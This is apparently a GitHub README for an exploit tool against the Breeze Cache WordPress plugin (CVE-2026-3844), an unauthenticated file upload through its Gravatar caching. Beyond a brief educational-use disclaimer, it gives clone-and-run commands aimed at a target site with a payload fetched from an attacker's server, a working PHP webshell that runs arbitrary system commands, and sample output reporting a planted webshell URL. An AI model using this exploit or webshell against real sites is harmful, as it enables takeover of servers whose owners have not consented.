0xgh057r3c0n/cve-2026-3844WordPress - Breeze Cache <= 2.4.4 - Unauthenticated Arbitrary File Upload
Breeze Cache ≤ 2.4.4 - Unauthenticated Arbitrary File Upload
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY.
Unauthorized access to computer systems is illegal. Use this tool only on
systems you own or have explicit permission to test. The author assumes
no liability for any misuse or damage caused by this software.
CVE-2026-3844 is a critical unauthenticated arbitrary file upload vulnerability in plugin for WordPress (versions ≤ 2.4.4). The plugin fails to properly validate the parameter in comments, allowing remote attackers to upload malicious files (including webshells) to the server.
srcsetThe vulnerability exploits the Gravatar caching functionality in Breeze. When a comment is posted with a specially crafted srcset parameter containing a remote file URL, Breeze downloads and stores the file locally in:
/wp-content/cache/breeze-extra/gravatars/[random_marker][file_extension]
Prerequisite: The "Host Files Locally - Gravatars" option must be enabled in Breeze settings.
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844
# Install dependencies
pip install pycurl termcolor
python3 CVE-2026-3844.py -u http://target.com
# Check if target is vulnerable without exploitation
python3 CVE-2026-3844.py -u http://target.com --check-only
# Use custom payload URL
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php
# Save output to file
python3 CVE-2026-3844.py -u http://target.com -o shells.txt
# Increase timeout for slow targets
python3 CVE-2026-3844.py -u http://target.com --timeout 30
| Argument | Description |
|---|---|
-u, --url | Target URL (required) |
-p, --payload | Remote payload URL |
--timeout | Request timeout in seconds (default: 15) |
--check-only | Only check if target is vulnerable |
-o, --output | Save shell URL to file |
Create your own webshell (shell.php):
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Host it somewhere accessible, then use:
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php
The exploit automatically checks for the verification string 4356452d323032362d33383434 (hex encoded "CVE-2026-3844") in the uploaded file to confirm successful exploitation.
[*] PHASE 1: VULNERABILITY ASSESSMENT
[*] Checking Breeze plugin version...
[+] Target VULNERABLE (Breeze v2.4.4)
[*] PHASE 2: EXPLOITATION
[!] REQUIREMENT: 'Host Files Locally - Gravatars' MUST BE ENABLED
[*] Step 1: Sending malicious comment...
[+] Comment posted successfully
[*] Step 2: Waiting for Breeze to cache the file...
[*] Step 3: Checking for uploaded file...
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!
[✓] STATUS: SUCCESS
[✓] WEBSHELL URL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
CVE-2026-3844/
├── CVE-2026-3844.py # Main exploit script
├── README.md # This file
└── LICENSE # MIT License
This project is licensed under the MIT License - see the LICENSE file for details.
If you find this tool useful, please give it a star ⭐ on GitHub!